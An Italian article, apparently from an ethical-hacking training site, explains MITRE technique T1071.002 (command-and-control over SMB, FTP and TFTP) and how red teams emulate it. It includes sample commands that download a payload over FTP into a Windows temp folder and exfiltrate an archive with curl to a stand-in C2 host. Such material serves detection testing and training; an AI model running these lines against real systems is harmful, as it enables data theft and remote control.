Protocolli di Trasferimento File: File Transfer Protocols (T1071.002)
La tecnica T1071.002 descrive l'abuso di protocolli di trasferimento file come SMB, FTP, FTPS e TFTP per veicolare canali di Command and Control. L'idea di fondo è semplice ma efficace: mescolare il traffico malevolo con flussi legittimi che nella maggior parte degli ambienti aziendali sono comuni, ricorrenti e spesso poco ispezionati in profondità.
Rientrando nella tattica TA0011 (Command and Control), questa sottotecnica consente all'attaccante di comunicare con host compromessi trasportando comandi e risultati incapsulati nei campi dei pacchetti applicativi o nascosti direttamente nei file trasferiti. La flessibilità di intestazioni e payload rende questi protocolli un vettore ideale sia per il C2 interattivo sia per lo staging di ulteriori payload.
I dati MITRE censiscono 4 gruppi APT, 19 famiglie di software, 2 campagne documentate e 2 mitigazioni direttamente applicabili. Fra gli operatori figurano attori con forte impronta strategica come APT41 e Dragonfly, mentre l'arsenale include piattaforme di post-exploitation come Cobalt Strike e ShadowPad. La detection ufficiale DET0416 copre Windows, Linux, macOS, ESXi e dispositivi di rete, indicando che il perimetro difensivo deve estendersi ben oltre l'endpoint tradizionale. Il tema centrale, per chi difende, è distinguere trasferimenti legittimi da quelli che nascondono canali di controllo persistenti.
In un ingaggio red team, l'abuso di protocolli di trasferimento file consente di simulare canali C2 realistici sfruttando servizi che raramente vengono bloccati completamente. La scelta del protocollo dipende dal contesto: SMB per movimenti laterali interni, FTP/FTPS verso infrastrutture esterne, TFTP in ambienti embedded o di rete.
Su Windows, uno scenario tipico prevede l'uso di Cobalt Strike (a pagamento) con profilo Malleable C2 che incapsula il traffico su named pipe SMB per la comunicazione peer-to-peer fra beacon. Un'alternativa open source è Mythic (open source), che supporta profili C2 basati su SMB e permette di modellare traffico realistico attraverso agenti come Apollo o Poseidon. Il comando net use \\target\IPC$ /user:domain\user password apre una sessione utile per staging manuale di payload.
Per simulazioni FTP-based, un piccolo server come pyftpdlib (open source) permette di allestire rapidamente un endpoint di ricezione. Dal lato vittima, PowerShell resta lo strumento più versatile: un semplice Invoke-WebRequest -Uri ftp://server/payload.bin -OutFile C:\Windows\Temp\p.bin replica il pattern usato da malware come Kimsuky per il download di stage successivi. Il classico client ftp.exe con file di script (ftp -s:cmds.txt) resta funzionante e utile per testare la detection su binari LOLBAS.
Su Linux, curl -T dump.tar.gz ftp://c2.example.tld/ --user u:p riproduce il comportamento osservato in PUBLOAD, che sfrutta curl per esfiltrazione FTP. Alternative come lftp o tnftp estendono le opzioni di scripting. Per SMB, il toolkit impacket (open source) fornisce smbserver.py per ospitare share fittizi e smbclient.py per interazioni programmatiche, entrambi eccellenti per emulare il comportamento di Disco e SharpDisco nel trasferimento fra share.
Su macOS, curl e lftp (open source, via Homebrew) coprono FTP e FTPS, mentre AppleScript o Automator possono orchestrare trasferimenti pianificati per emulare XAgentOSX e la sua funzione di upload FTP.
Su ESXi, la shell offre vmkfstools e utility busybox: uno script che copia file da /vmfs/volumes/ verso un server FTP esterno permette di validare le detection AN1172. È importante variare porte non standard (FTP su 443, TFTP su porte alte) per stressare la capacità dei sensori di rilevare mismatch fra protocollo applicativo e porta di trasporto, aspetto centrale della regola AN1173.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo